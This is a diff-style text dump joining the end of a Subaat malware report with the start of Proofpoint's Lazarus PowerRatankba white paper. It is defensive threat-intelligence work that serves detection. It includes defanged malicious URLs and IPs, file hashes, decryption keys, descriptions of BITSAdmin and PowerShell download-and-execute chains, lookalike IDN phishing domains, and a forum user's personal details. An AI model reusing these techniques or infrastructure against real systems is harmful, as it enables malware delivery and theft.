+samples using this registered builder contain this email address. We found all 20 of the
+identified LuminosityLink samples contained this same email address. The primary domain
+shown above is registered to 115.186.136[.]237, which is the IP address used by QuasarRAT
+for Command and Control (C2) communications. Looking at other samples found within the
+web server repository, we identified a number of malware families communicating with this IP
+address, including the following:
+QuasarRAT
+LuminosityLink
+Meterpreter
+NJRAT
+RevengeRAT
+RemcosRAT
+We also discovered that the email address discussed above was being used by an account on
+the popular HackingForum web forum service. The account in question that claims to own this
+email address is none other than 
+Subaat
+6/17
+Figure 6 Subaat user mentioning the hotmail email address on HackForums
+Looking at this user
+s profile below, we can see their posting history: a total of 14 posts in the
+past two years. We also see a date of birth of 2/24/1990, stating that the individual is 27 years
+old.
+Figure 7 Subaat profile information
+A quick look at the posting history indicates that this person was inactive starting around
+December 2016, but returned to posting in early July of this year. This is in line with the
+campaign witnessed against a US-based government organization that took place on July 16th.
+7/17
+The posts look to be related to various Office exploit builders and crypters. This again is in line
+with both the campaign we witnessed as well as the various malware we identified on
+subaat[.]com.
+Figure 8 Subaat posting history
+A Look Behind the Scenes
+Looking at logs for the subaat webserver between July 1st and July 20th shows the IP address
+of 115.186.136[.]237 uploading and interacting with a number of malicious files. We found
+interactions with a total of 64 unique files during this period. Below is a chart showing the
+attacker at this IP address interacting with some of the more popular malware families that
+have been identified.
+8/17
+Figure 9 Interaction between attacker and web server
+As we can see from the chart above, a spike of activity took place in the July 11th to July 16th
+timeframe. This again is consistent with the email campaign that took place in the midst of this
+period. A number of malware families have been used by this specific attacker, and many of
+them are configured to communicate with 115.186.136[.]237 as the C2.
+Conclusion
+What started out as a simple look into what appeared to be a targeted phishing campaign
+turned into much more. By the end of this research endeavor, we have identified a server
+hosting a large number of malware samples that has been primarily used by one specific IP
+address. This IP address not only interacted with this web server, but also acted as a C2
+server for many of these malware families. While looking at malware associated with this
+actor, we discovered an email address that is tied to a user account on HackForums that has a
+name consistent with the domain used to host the actor
+s malware.
+We saw similarities this campaign and both the Operation Transparent Tribe and Operation CMajor campaigns. Additionally, there is marginal evidence that suggests that the attacker may
+be based in Pakistan, which is again in line Operation Transparent Tribe. However, the overall
+evidence is not conclusive, and there is insufficient proof to say decisively that this is the same
+threat actor.
+Palo Alto Networks customers are protected by this threat in a number of ways:
+All identified samples are flagged as malicious within the Palo Alto Networks platform
+All domains identified within this research have been appropriately marked as malicious
+9/17
+Traps correctly identified and blocks the exploits using CVE-2012-0158 and CVE-20170199
+Appendix
+Analysis of Malicious RTF Documents
+The two identified samples that were used in a campaign against a US-based government
+organization has the following SHA256 hashes:
+0ade053b355eca7ae1fccea01fe14ff8d56a9d1703d01b3c00f7a09419357301
+9a57f96a3fd92b049494807b6f99ffcd6bb9eb81f4f5b352d4b525ad32fac42d
+These samples varied in size greatly, however, the underlying shellcode was consistent. One
+notable difference observed in one of the samples (0ade05
+) was the inclusion of injecting
+the shellcode into a newly spawned instance of svchost.exe.
+When the shellcode begins, it will start by loading a number of functions that are used to inject
+code into svchost.exe. The following Python code demonstrates how this hashing function
+operates:
+Figure 10 Python code demonstrating API hashing technique #1
+The shellcode continues to decrypt a blob of data using a 4-byte XOR key of 0x8F51F053. This
+blob contains a series of important strings, such as the URL and filename, as well as functions
+that will be used to download the payload.
+After this blob is decrypted, flow control proceeds to this blob
+s code, where the shellcode will
+load multiple libraries and functions using a specific hashing algorithm.
+The shellcode continues download a file to the %TEMP% directory from the following URL:
+http://subaat[.]com/files/sp.exe
+10/17
+The shellcode proceeds to execute this newly downloaded file prior to exiting.
+Analysis of Malicious Excel Documents
+The identified sample that was used in a campaign against a US-based government
+organization has the following SHA256 hash:
+e3243674aa3661319903a8c0e1edde211f1ffdeed53b305359d3390808007621
+When this sample is initially executed, it will attempt to run a malicious macro that is
+embedded within the file. This macro begins by determining where a dropped file will reside. It
+will attempt to find the following folders residing within a user
+s profile path:
+/Documents
+/Downloads
+/AppData
+Figure 11 Macro determining file path
+The payload itself is stored within text boxes in a user form within the Excel document. This
+data is extracted and hex-decoded. The three blobs of data are concatenated to form a proper
+PE32 executable.
+11/17
+Figure 12 Macro loading data from text boxes
+A quick look at the included user form gives us a better view as to how this data is stored.
+12/17
+Figure 13 Embedded user form with three text boxes
+The following example Python code demonstrates the hex-decoded data shown in the
+highlighted text box above.
+Figure 14 Python code hex-decoding the stored data
+After this data is properly handled, the macro will drop this file with an extension of .scr to the
+designated file path. It is then executed in a new process. This newly spawned process is an
+instance of the Crimson Downloader malware family.
+13/17
+SHA256 Hashes
+c4c478c5486a09ac06e657ace2c1edb00cc690a2ff3558598e07687aa149df71
+6b6ff0bef244732e90e7a8c200bcd1d8db6f58fe4da68889eb847eb1b6458742
+07cb90288ae53643a4da291863df6c9be92bfd56b953073e30b7c28c777274fc
+66ef8f3660902cba0ca9bebd701d322aff1d5a13de0cf63cf3f1b8841e08efc6
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+20e368b0d0288b968fed7193c965a7c7ecf3e731eb93a4cbd4420242fad7ce8c
+9ddc4ba7a8025598b6a8344c5537af3e2ae6e6db8356dcbfc9ad86b84dee87af
+95c00b3de53c0b5742c182f9221a3086bf046ad8da57c915e8c0b6dc5180fd7f
+0804202f46dc94768820cb0915b8d2b36602575ac78e526ea7f518e584069242
+914b6f21297ebb81621b6da00edcda59b4c1fdd06329ed7a587c9a9b09915583
+2a73231d0480f7481737256a8dca6b2549db982cc10f1761c2a267eb85dcaca4
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+41efb2f1cb81160539058d8fc2ca8c037692803dcb8b332c660233bffe5bf874
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+4c6f7aafc2e4d8b0b7e7f21cbb102e02dc314eeb2f8e754f59ea471f58cabda0
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+75da69e466183b0d004719d32f779cd5b7849a6dac0b6303e11db543c0ddec32
+a0a2edcd19a581aeba3de5bbca21065425fbf34fd1a798269ff99bd8af8bf847
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+50c4f3d3335daf84d507ed2663a411d2ce39e9def172ddbaf7ade0f2ce0f2736
+14/17
+a8445387cb7e4bc79da34d371eedf50f265e145ce8f48c64aeff2690ed7f8b10
+7218bc4e9b8817eff678422a9125a852c3f66ecf275aa691433dd8cd4910f66d
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+85116c4f9695bf15fe3fdcb20cff8634971e39c2b97b1a159446fa6cdf05e913
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+625f30d4abd89b94c1f732463202c51cd9424a1bcbf2e72a9779773c0f82f93c
+6807c25ead1c377c975c84a214da8a68482623658369a02ce56b531d6f38a5b6
+dfb984ea975ca992e1a0f9a6d30a41057edd36b170704b7831f609f44f80ad8d
+ed9fb1d8c36fb60c808006ae63908980a259cb73ed44adf19856ea6c239d1eab
+1f286fff72a562cd327985a1b57316364710f2cbfeedc46d12dc8d21b4611ecb
+4da2fd94b4f21a346ebfa5d8793dd60a1d4200dfe6b91517a70aed4c0b59a4d4
+983bc61d569839558e2a2ef2a53174efe45be4e65da991268ce1926beb4e3505
+7b1ab4513788ef4b6628911ba6ed6362eb357b66d18f6988fb4ceffb20ee1d91
+8c93d054d4ef93f695da9693f6de538e269b39320c934428f27cc22ef6b2d89e
+cd873eaded83861c4f59bfb5c902b43bfd7f5ecb13eccc385498ad9564085e97
+e63f0ab5413b0013d79c57f8132c21c0c9397c88caa01edbb4fbe6c2db4932a0
+24bc5f9aa78d91d6c8641b90cac6d3c3e7ddf4b30a992a9129d73c5edb04f80f
+89ac4eeaecd38fcb2eb8e0bacd156b6133a6093f44622f7d82e22493a69cafb7
+07abc1eb421baffe4f894406c1435b3daf8d1dcfba53d8e4e8f584cf72d08110
+2941360679ea485798e324e3538c358cf6cba65959ebf28df9fd4a5492bf2888
+dbac3abbaaea59c8287d3ed47cac07aeca952a3620eda4559c2bf0f3f611d52e
+efca910066b59ca833c7291d07f18922cf5e3e2301c5fd95b7acd50f195fc580
+a331276b9810ebc131daf883887a0ba8ab0fb5e6ea4671b12249c1be1755fce8
+31d94441009e7ea50d880e1dcc9e09890f1139bce9edc847b05f2c5ac355695e
+15/17
+c3eeb0677dcbfe4edb6cca9c5bac34ae80a5906b76676548ef0e5110f3ddd4c3
+e68ea3c3c9bb0d5b0d4f940b0cbbfb6913a47bb6f345b54f487241fc4eec4b31
+83810647cd0c398ad05dec63c41756bf5fbfd1b0658379753c157e7b1f45aed3
+dfb4f62c609be0295ef1c4fcd59c5897fbd0ad40a82d00a93e7f3bdadcc1d320
+23180df75c5b9293f3743ea27c09ce471f1f5541cd668ac22c16e41f1ff7b4da
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+4cbc47fe5d82145265e8dbc9e81ab6afa9a0a4f3c6dd8c15ce2af09584278517
+670e45f3e2fbb635df00790d90a5cf8bc950440a935b38c2bb71f0c463c24b3b
+2551d883d3e66a3e7bcabc052be2e503808df570c03d816ddfb83bf6e686a5f6
+712a8fa4308de2ba1a83545e96539092215c75bfa8b63b33ee1a739cc6522873
+7e09b6d96d7034f1ac5947355dba360cc49f53d4c0c89aab05c1ef6cc2d0a213
+801bb690dd2ecd3877b014030dfca40f3b7d964fdb8e1ab1252352212e24f777
+fae9b4a92277e227f6122794ef366dba49c045add9569e9a0d8fc66196c5c787
+2bfbd56ee421b8aab3dd3d1f9e9a2d512556a4e0440c8f04e94d6ad5b584e43c
+35bc123df7bfc8f9239af3fa14350091c513e7b1d42b93a8dca39e131c48c052
+87d122b7b99735689713ff51650b6a331d9c4d7f7617fc15b7e07b0225b60c2a
+0b2a6225d209783672900d1b8e0b19957cb924f0111d0be347dead9520ad745a
+5f3845a1e3d2f3d09c3ffff4a71e04f61d995aae54311d4c9ab88ff65803d131
+5c361d57ac83936d08c4a93208142b7397d6074bbf6e24cb6cee0e3e3e5351b3
+ea35cf979b358c1661b4b1b9465a700925bdf4ba227989b47127270e32345f29
+44963748c947e0f5d21d353e6e5ceb3b6a64fd0b4ad28540ab47bdf2422e9523
+1d4f20832e641a1cedd598e187614b78ba3d5930c6dcd71e367b254664cb9b2e
+050123edd0d9ea5acf32314aa500467211d8f204f57627abc42937fe11f04382
+4c806d18ba1cac5d83be7c05f43697d5124b910d2de8264cdff1d8f186a0a7dd
+aec031e3747b00be2b0cc3a1d910ae18ada65452f3e70425cae86fe24d2996d4
+5ac984bb11b989ef745c35dd2418eb5bd26a6bba291cf2ba7235bf46d3400260
+16/17
+0ade053b355eca7ae1fccea01fe14ff8d56a9d1703d01b3c00f7a09419357301
+e3243674aa3661319903a8c0e1edde211f1ffdeed53b305359d3390808007621
+9a57f96a3fd92b049494807b6f99ffcd6bb9eb81f4f5b352d4b525ad32fac42d
+7bad7cbc32e83b8dfc4f6c95824ea45dcee2330de44d84c9bc551f99e6ca6faa
+341403284158723f1f94897d257521a73fcfc8049b786f5004f60a063fb074f2
+f68a169670bb3dc3bd0a2dc83120d34f59d7f4dacfdc98dbbd86931cdd4f7392
+579c669bd8ec8dd393a836c6c27c86e40e8048fa5efbcfc03e027e69298f0e6a
+19df2d2460be2f22f73ea7992470c5369599fba290c0f3dbc613ad35dc3ba18a
+692997349c017c627c8779816bc41840dd7867b0c4d3bec99638bfba159675bc
+c0658b5aa4e9bc2433557e65ad20ded6f91b3441dac72cb8c2ea7e1f2e43e05e
+IP Addresses
+5.189.157[.]215
+115.186.136[.]237
+Domains
+subaat[.]com
+hassanusauae786.hopto[.]org
+17/17
+White paper
+North Korea
+Bitten by
+Bitcoin Bug
+Financially motivated campaigns
+reveal new dimension of the
+Lazarus Group
+Darien Huss
+www.proofpoint.com
+Table of Contents
+EXECUTIVE SUMMARY........................................................................................................................................................... 3
+OVERVIEW............................................................................................................................................................................... 4
+INTRODUCTION...................................................................................................................................................................... 4
+PowerRatankba Downloaders......................................................................................................................................5
+Campaign Timeline.................................................................................................................................................................... 5
+PowerSpritz................................................................................................................................................................................ 6
+Windows Shortcut (LNK)............................................................................................................................................................ 8
+Microsoft Compiled HTML Help (CHM)..................................................................................................................................... 9
+JavaScript Downloaders.......................................................................................................................................................... 11
+VBScript Macro Microsoft Office Documents.......................................................................................................................... 13
+Backdoored PyInstaller Applications....................................................................................................................................... 15
+Implant Description and Analysis..............................................................................................................................18
+PowerRatankba Description..................................................................................................................................................... 18
+PowerRatankba.A C&C Description......................................................................................................................................... 19
+PowerRatankba.B C&C Description........................................................................................................................................ 20
+PowerRatankba Persistence.................................................................................................................................................... 20
+PowerRatankba.B Stage2 - Gh0st RAT.................................................................................................................................... 21
+Gh0st RAT Purpose.................................................................................................................................................................. 23
+Shopping Spree: Enter RatankbaPOS..................................................................................................................................... 23
+RatankbaPOS Analysis............................................................................................................................................................ 23
+RatankbaPOS Targeted Region............................................................................................................................................... 28
+Attribution to Lazarus Group......................................................................................................................................28
+Encryption................................................................................................................................................................................ 28
+Obfuscation.............................................................................................................................................................................. 30
+Functionality............................................................................................................................................................................. 30
+Code Overlap........................................................................................................................................................................... 31
+Decoys..................................................................................................................................................................................... 32
+C&C.......................................................................................................................................................................................... 32
+CONCLUSION........................................................................................................................................................................ 33
+Research Contributions........................................................................................................................................................... 33
+Indicators of Compromise (IOCs)............................................................................................................................................ 34
+ET and ETPRO Suricata/Snort Signatures............................................................................................................................... 37
+North Korea Bitten by Bitcoin Bug
+Executive Summary
+With activity dating at least to 2009, the Lazarus Group has consistently ranked among the most disruptive, successful,
+and far-reaching nation-state sponsored actors. The March 20, 2013 attack in South Korea, the Sony Pictures hack in 2014,
+the successful theft of $81 million from the Bangladesh Bank in 2014, and perhaps most famously this year
+s WannaCry
+ransomware attack and its global impact have all been attributed to the group. The Lazarus Group is widely accepted as
+being a North Korean state-sponsored threat actor by numerous organizations in the information security industry, law
+enforcement agencies, and intelligence agencies around the world.
+The Lazarus Group
+s arsenal of tools, implants, and exploits is extensive and under constant development. Previously,
+they have employed DDoS botnets, wiper malware to temporarily incapacitate a company, and a sophisticated set of
+malware targeting the SWIFT banking system to steal millions of dollars. In this report we describe and analyze a new,
+currently undocumented subset of the Lazarus Group
+s toolset that has been widely targeting individuals, companies, and
+organizations with interests in cryptocurrency.
+Threat vectors for this new toolset, dubbed PowerRatankba, include highly targeted spearphishing campaigns using
+links and attachments as well as massive email phishing campaigns targeting both personal and corporate accounts of
+individuals with interests in cryptocurrency. We also share our discovery of what may be the first publicly documented
+instance of a nation-state targeting a point-of-sale related framework for the theft of credit card data, again using a variant
+of malware that is closely related to PowerRatankba.
+North Korea Bitten by Bitcoin Bug
+Overview
+The Lazarus Group has increasingly focused on financially motivated attacks and appears to be capitalizing on both the
+increasing interest and skyrocketing prices for cryptocurrencies. Proofpoint researchers have uncovered a number of
+multistage attacks that use cryptocurrency-related lures to infect victims with sophisticated backdoors and reconnaissance
+malware. Victims of interest are then infected with additional malware including Gh0st RAT to steal credentials for
+cryptocurrency wallets and exchanges, enabling the Lazarus Group to conduct lucrative operations stealing Bitcoin and
+other cryptocurrencies. We also discovered what appears to be the first publicly documented instance of a nation-state
+targeting a point-of-sale related framework for the theft of credit card data in a related set of attacks. Moreover, the timing of
+the point-of-sale related attacks near the holiday shopping season makes the potential financial losses considerable.
+Introduction
+It is already well-known that Lazarus Group has targeted and successfully breached several prominent cryptocurrency
+companies and exchanges. From these breaches, law enforcement agencies suspect that the group has amassed nearly
+$100 million worth of cryptocurrencies based on their value today. We hypothesize that many of these previously reported
+operations targeting cryptocurrency organizations have actually been conducted by the espionage team of the Lazarus
+Group based on evidence we provide in the Attribution section. Further, we assess that until today, many of Lazarus
+Group
+s traditional financially motivated team have remained largely in the shadows as they conduct these operations
+adding to their already impressive stockpile of various cryptocurrencies.
+Several watering hole attacks targeting the banking and financial industries that occurred at the end of 2016 and beginning
+of 2017 utilized a first stage downloader implant dubbed Ratankba. During those incidents, Lazarus Group primarily used
+Ratankba as a reconnaissance tool, described by colleagues at Trend Micro as a utility to 
+survey the lay of the land.
+this research we detail a new implant dubbed PowerRatankba, a PowerShell-based malware variant that closely resembles
+the original Ratankba implant. We believe that PowerRatankba was likely developed as a replacement in Lazarus Group
+strictly financially motivated team
+s arsenal to fill the hole left by Ratankba
+s discovery and very public documentation
+earlier this year.
+In this report, we first provide a brief timeline of events related to the malicious activity. Next, we describe the various
+delivery methods that Lazarus Group utilized to infect victims with PowerRatankba (Fig. 1). We then detail the inner
+workings of PowerRatankba and how it is utilized to deliver a more fully capable backdoor to interesting victims (Fig. 1).
+Following that, we share details on a new and emerging threat targeting the South Korean point-of-sale industry that we
+have dubbed RatankbaPOS (Fig. 1). Finally, we explain our high-confidence attribution to Lazarus Group.
+North Korea Bitten by Bitcoin Bug
+Figure 1: Flow of PowerRatankba activity from victims to the Lazarus Group operators
+PowerRatankba Downloaders
+In this section we will detail each of the different attack vectors and campaigns we have discovered that eventually lead to
+the delivery of PowerRatankba. In total we have discovered six different attack vectors:
+ A new Windows executable downloader dubbed PowerSpritz
+ A malicious Windows Shortcut (LNK) file
+ Several malicious Microsoft Compiled HTML Help (CHM) files using two different techniques
+ Multiple JavaScript (JS) downloaders
+ Two macro-based Microsoft Office documents
+ Two campaigns utilizing backdoored popular cryptocurrency applications hosted on internationalized domain (IDN)
+infrastructure to trick victims into thinking they were on a legitimate website
+Campaign Timeline
+The campaigns discussed in this research began on or around June 30th, 2017. According to our data those campaigns
+were highly targeted spearphishing attacks targeting at least one executive at a cryptocurrency organization to deliver a
+PowerRatankba.A variant. All other campaigns utilized PowerRatankba.B variants. We currently have no visibility into how
+the LNK, CHM, and JS campaigns were delivered to users, but given common Lazarus modus operandi, we can speculate
+that they may have been delivered through attachments or links in emails. We gained visibility again during the massive
+email campaigns utilizing BTG- and Electrum-themed applications to ultimately deliver PowerRatankba. The timeline below
+illustrates the exact dates of campaigns where we are aware of them. Where exact dates are unknown, we based estimates
+on first campaign observations and metadata (Fig. 2).
+North Korea Bitten by Bitcoin Bug
+Figure 2: Timeline of campaigns ultimately related to PowerRatankba
+PowerSpritz
+PowerSpritz is a Windows executable that hides both its legitimate payload and malicious PowerShell command using
+a non-standard implementation of the already rarely used Spritz encryption algorithm (see the Attribution section for
+additional analysis of the Spritz implementation). This malicious downloader has been observed being delivered via
+spearphishing attacks using the TinyCC link shortener service to redirect to likely attacker-controlled servers hosting the
+malicious PowerSpritz payload. In early July 2017 an individual on Twitter shared an attack they observed targeting them
+(Fig. 3) utilizing a fake Skype update lure to trick users into clicking on a link to hxxps://skype.2[.]vu/1. The TinyCC link
+redirected to a server that, at the time, would have likely returned a PowerSpritz payload: hxxp://201.211.183[.]215:8080/
+update.php?t=Skype&r=update
+Figure 3: PowerSpritz spearphishing email shared on Twitter by @LeoAW, abusing Skype name and branding
+North Korea Bitten by Bitcoin Bug
+We have since discovered three additional TinyCC URLs utilized to spread PowerSpritz: one with a Telegram theme (hxxp://
+telegramupdate.2[.]vu/5 -> hxxp://122.248.34[.]23/lndex.php?t=Telegram&r=1.1.9) and two more with Skype theme
+(hxxp://skypeupdate.2[.]vu/1 -> hxxp://122.248.34[.]23/lndex.php?t=SkypeSetup&r=mail_new and hxxp://skype.2[.]vu/k
+-> unknown). Some of the PowerSpritz payloads were previously hosted on Google Drive; however, we were unable to
+determine if that service was actually used to spread the payloads in-the-wild (ITW).
+PowerSpritz decrypts a legitimate Skype or Telegram installer using a custom Spritz implementation with the key 
+Znxkai@
+if8qa9w9489
+. PowerSpritz then writes the legitimate installer to disk in the directory returned by GetTempPathA either as
+a hardcoded filename such as SkypeSetup.exe or, in some versions, as the filename returned by GetTempFileNameA.
+The installer is then executed to trick the potential victim into thinking they downloaded a legitimate, working application
+installer or update. Finally, Spritz uses the same key to decrypt a PowerShell command that downloads the first stage of
+PowerRatankba (Fig. 4). All three PowerSpritz samples we discovered executed the identical PowerShell command.
+Figure 4: Script output showing PowerSpritz PowerShell encoded and decoded command
+North Korea Bitten by Bitcoin Bug
+As shown in the above decoded script (Fig. 4), PowerSpritz attempts to retrieve a payload from hxxp://dogecoin.
+deaftone[.]com:8080/mainls.cs that is expected to be a Base64-encoded PowerShell script. After decoding mainls.cs,
+a PowerRatankba.A implant is revealed (Fig. 5) with hxxp://vietcasino.linkpc[.]net:8080/search.jsp as its command and
+control (C&C).
+Figure 5: PowerSpritz retrieving Base64-encoded PowerRatankba
+Windows Shortcut (LNK)
+A LNK masquerading as a PDF document was discovered on an antivirus
+scanning service. The malicious 
+Scanned Document Part 1.pdf.lnk
+LNK file, along with a corrupted PDF named 
+Scanned Document Part
+2.pdf,
+ were compressed in a ZIP file named 
+Scanned Documents.zip
+(Fig. 6). It is unclear if the PDF document was tampered with intentionally
+to increase the chances a target would open the malicious LNK or if the
+actor(s) unintentionally used a corrupted document. We currently are not
+aware of how the LNK or compressed ZIP files were utilized ITW.
+Figure 6: ZIP file with decompressed
+malicious LNK and corrupted PDF
+The malicious LNK uses a known AppLocker bypass to retrieve its
+payload from a TinyURL shortener link hxxp://tinyurl[.]com/y9jbk8cg (Fig.
+7). This shortener previously redirected to hxxp://201.211.183[.]215:8080/
+pdfviewer.php?o=0&t=report&m=0 . At the time of analysis the C&C
+server was no longer returning payloads. However, the same IP was
+used in the PowerSpritz campaigns. Based on the same C&C usage
+and similar URI structure, we assess with low confidence that the LNK
+campaign would have delivered PowerRatankba via PowerSpritz.
+Figure 7: Malicious LNK AppLocker bypass to retrieve payload
+North Korea Bitten by Bitcoin Bug
+Microsoft Compiled HTML Help (CHM)
+Several malicious CHM files were uploaded to a multi antivirus scanning service in October, November, and December. We
+inspected the compressed ZIP metadata to better understand the likely chronological order in which the CHMs were used.
+Unfortunately we have been unable to determine how these infection attempts were delivered to victims ITW. The themes of
+the malicious CHMs include:
+ A confusing, poorly written request for assistance with creating a website with possible romantic undertones (Fig. 8-1)
+ Documentation on a blockchain technology called ALCHAIN from Orient Exchange Co. (Fig. 8-2)
+ A request for assistance in developing an initial coin offering (ICO) platform (Fig. 8-3)
+ White paper on the Falcon Coin ICO (Fig. 8-4)
+ A request for applications to develop a cryptocurrency exchange platform (Fig. 8-5)
+ A request for assistance in creating an email marketing tool (Fig. 8-6)
+Figure 8: CHM lures utilized in attempts to deliver PowerRatankba
+All of the CHM files use a well-known technique to create a shortcut object capable of executing malicious code and then
+causing that shortcut object to be automatically clicked via the 
+x.Click();
+ function. Two different methods were used
+across the CHMs to retrieve the malicious payload.
+The first method uses a VBScript Execute command and BITSAdmin tool to download a malicious VBScript file (Fig.
+9). The payload is downloaded (Fig. 10) from hxxp://www.businesshop[.]net/hide.gif and saved to C:\windows\temp\
+PowerOpt.vbs. Once the downloaded VBScript (Fig. 10) is executed, it will attempt to download PowerRatankba from
+hxxp://158.69.57[.]135/theme.gif, saving the expected PowerShell script to C:\Users\Public\Pictures\opt.ps1.
+North Korea Bitten by Bitcoin Bug
+Figure 9: Malicious code embedded in CHM to download a VBScript PowerRatankba downloader
+Figure 10: BITSAdmin retrieving malicious payload over HTTP
+North Korea Bitten by Bitcoin Bug
+Figure 10: BITSAdmin retrieving malicious payload over HTTP
+The second method downloads a similar VBScript-based PowerRatankba downloader using PowerShell directly in the
+CHM (Fig. 11). A similar VBScript Execute command is utilized to call PowerShell
+s DownloadString to execute the payload
+directly from hxxp://92.222.106[.]229/theme.gif
+Figure 11: PowerShell utilized in CHM to retrieve PowerRatankba downloader VBS
+The 5_6283065828631904327.chm (030b4525558f2c411f972d91b144870b388380b59372e1798926cc2958242863)
+contains notable pieces of unused code as well as code pointing to an RFC1918 private IP address in the decompressed
+doc.htm file (Fig. 12). The first excerpt of unused code consists of a more traditional PowerShell command that downloads
+a script from hxxp://192.168.102[.]21/power.ps1. The next block of code adds an obfuscation technique (also present in
+other related CHMs) where the quotes are replaced with the 
+ character. This obfuscated code downloads a PowerShell
+payload from the same RFC1918 address but from a different URI: hxxp://192.168.102[.]21/pso.ps1. We assess that this
+is likely a remnant of the author developing the malicious CHM method using their local environment rather than using
+code stolen from an unrelated CHM, tool, or other malicious payload. Additionally, another piece of commented code
+follows which executes a VBScript file 
+C:\Users\dolphinePC\Downloads\run_32.vbs
+. This may offer another clue to the
+developer
+s environment that has a possible username of dolphinePC. Finally, a PowerRatankba.B implant was embedded
+in the same CHM as aa.ps1 and configured with C&C servers of 92.222.106[.]229 and 158.69.57[.]135.
+Figure 12: Leftover code in 5_6283065828631904327.chm
+As a final note on the CHM campaigns, the following three samples contain an email address of either robert_mobile@
+gmail[.]com or robert_mobile@mail[.]com, which we assess with some confidence are related to the threat actor:
+ 772b9b873100375c9696d87724f8efa2c8c1484853d40b52c6dc6f7759f5db01
+ 6cb1e9850dd853880bbaf68ea23243bac9c430df576fa1e679d7f26d56785984
+ 9d10911a7bbf26f58b5e39342540761885422b878617f864bfdb16195b7cd0f5
+JavaScript Downloaders
+Throughout November several compressed ZIP files containing a JavaScript (JS) downloader were observed being hosted
+on likely attacker-controlled servers. We are not currently aware if or how these files were delivered to potential victims. The
+naming of the files and the decoy PDF documents they retrieve provide some clues about the nature of the lures. Themes
+include the cryptocurrency exchanges Coinbase and Bithumb, the Falcon Coin ICO, and a list of Bitcoin transactions.
+Each JavaScript downloader is obfuscated (Fig. 13) using JavaScript Obfuscator (see Attribution section for additional
+analysis) or a similar tool. After de-obfuscating (Fig. 14), the logic of the malicious downloader is very straightforward. First,
+an obfuscated PowerRatankba.B PowerShell script is downloaded from a fake image URL such as: hxxp://51.255.219[.]82/
+theme.gif. Next, the PowerShell script is saved to C:\Users\Public\Pictures\opt.ps1 and then executed.
+North Korea Bitten by Bitcoin Bug
+Figure 13: Obfuscated falconcoin.js
+Figure 14: Deobfuscated falconcoin.js revealing PowerRatankba and decoy PDF URLs
+The last step in execution is to retrieve the decoy PDF from hxxp://51.255.219[.]82/files/download/falconcoin.pdf and open
+it using rundll32.exe and shell32.dll,OpenAs_RunDLL (Fig. 15-1). Samples using Coinbase and Bithumb themes also
+downloaded PDF decoys (Fig. 15-2,15-3). Additionally we discovered that the content from the Coinbase decoy has been
+used in Lazarus group-attributed espionage campaigns (see Attribution for more details).
+North Korea Bitten by Bitcoin Bug
+Figure 15: Decoys downloaded or sent along with PowerRatankba JavaScript downloaders
+VBScript Macro Microsoft Office Documents
+Two VBScript macro-laden Microsoft Office documents have been observed associated with this activity: one Word
+document and one Excel spreadsheet. The Word document (b3235a703026b2077ccfa20b3dabd82d65c6b5645f7f1
+5e7bbad1ce8173c7960) uses an Internal Revenue Service (IRS) theme and was sent as an attachment named 
+report
+phishing.doc
+. The spearphishing email was sent from an @mail.com address with the subject of 
+Phishing Warnning
+[sic].
+Ironically, the sender email address was spoofed as phishing@irs.gov (Fig. 16) while the content of the lure (Fig. 17) was
+likely copied from an official IRS webpage.
+Figure 16: Spearphishing email spoofed sender
+and subject
+Figure 17: IRS themed Word document PowerRatankba
+downloader
+The IRS-themed malicious document uses a macro
+to download a PowerRatankba VBScript from
+hxxp://198.100.157[.]239/hide.gif (Fig. 18), save it to C:\
+Users\Public\Pictures\opt.vbs, and execute it with wscript.
+exe. It in turn downloads the PowerRatankba.B from
+hxxp://198.100.157[.]239/theme.gif, saving the downloaded
+payload to C:\Users\Public\Pictures\opt.ps1, and finally
+executing it with powershell.exe.
+North Korea Bitten by Bitcoin Bug
+Figure 18: IRS-themed malicious document macro
+The second malicious Office document we discovered is an Excel spreadsheet named bithumb.xls. It uses a Bithumb lure
+(Fig. 19) and includes stolen branding. The spreadsheet was found compressed in a ZIP file named Bithumb.zip along with
+a decoy PDF document named 
+About Bithumb.pdf
+ (Fig. 20).
+Figure 19: Malicious Bithumb Excel spreadsheet with English option shown, with stolen branding
+Figure 20: 
+About Bithumb.pdf decoy
+ document inside Bithumb.zip archive, with stolen branding
+The Excel spreadsheet contains a macro with an embedded Base64-encoded PowerRatankba VBScript downloader
+(rather than retrieving it from a C&C using HTTP (Fig. 21)). The embedded VBScript is first dropped to disk at c:\Users\
+Public\Documents\Proxy.vbs and then executed using wscript.exe. The dropped VBScript file is configured to download
+PowerRatankba from hxxp://www.energydonate[.]com/images/character.gif while saving the downloaded payload to C:\
+Users\Public\Documents\ProxyAutoUpdate.ps1.
+North Korea Bitten by Bitcoin Bug
+Figure 21: Base64 encoded PowerRatankba downloader embedded in bithumb.xls
+Backdoored PyInstaller Applications
+Most recently, several large email phishing campaigns attempted to trick unsuspecting victims into visiting fake webpages
+to download or update cryptocurrency applications. The copycat websites were mirror images of legitimate websites with
+software download links pointing to the correct installers hosted on the legitimate websites. The only exception was the
+link to download the Windows version of the application, which was hosted on the copycat websites. These PyInstaller
+executables were backdoored with a few lines of Python code added to download the PowerRatankba implant.
+The first campaign that utilized this technique used a Bitcoin Gold (BTG) theme to trick the targets into visiting an
+internationalized domain name (IDN) website (Fig. 22). An email was sent to targets offering a BTG wallet application
+along with a link to the malicious website: hxxps://xn--bitcoingld-lcb[.]org/. However, web browsers and email clients would
+display the link as follows: hxxps://bitcoing
+ld[.]org/. Emails in this BTG campaign were sent between approximately
+November 10-16, 2017. Some of the known sender emails include but are not limited to: info@xn--bitcoingod-8yb[.]com,
+info@xn--bitcoigold-o1b[.]com, and tech@xn--bitcoingld-lcb[.]org. Campaigns using IDN can be difficult to recognize as
+malicious because they are typically very similar to the mimicked legitimate domains except for a single character (Fig. 23).
+(see IOC section for more likely related IDNs)
+Figure 22: Sample email containing a URL to malicious IDN hosting PyInstaller PowerRatankba downloader. The
+North Korea Bitten by Bitcoin Bug
+IDN email address is emphasized in a red box.
+Figure 23: Excerpt from phishing email showing the IDN link
+with red arrow pointing to internationalized character
+Many thanks to Yonathan Klijnsma (@ydklijnsma) of RiskIQ,
+whose assistance allowed us to analyze a historical scrape of
+one of the web pages hosting the malware at xn--bitcoingldlcb[.]org. In the scrape, an additional text and a button were
+inserted in place of the BTG logo. The button used JavaScript to
+download a payload from hxxps://bitcoing
+ld[.]org/bitcoingold.
+exe (IDN: xn--bitcoingld-lcb[.]org) (Fig. 24). Additional
+differences are likely the result of changes to the legitimate
+website (Fig. 25) since the malicious campaign.
+Figure 24: Malicious BTG website hosting
+PowerRatankba downloader. Credit: RiskIQ
+North Korea Bitten by Bitcoin Bug
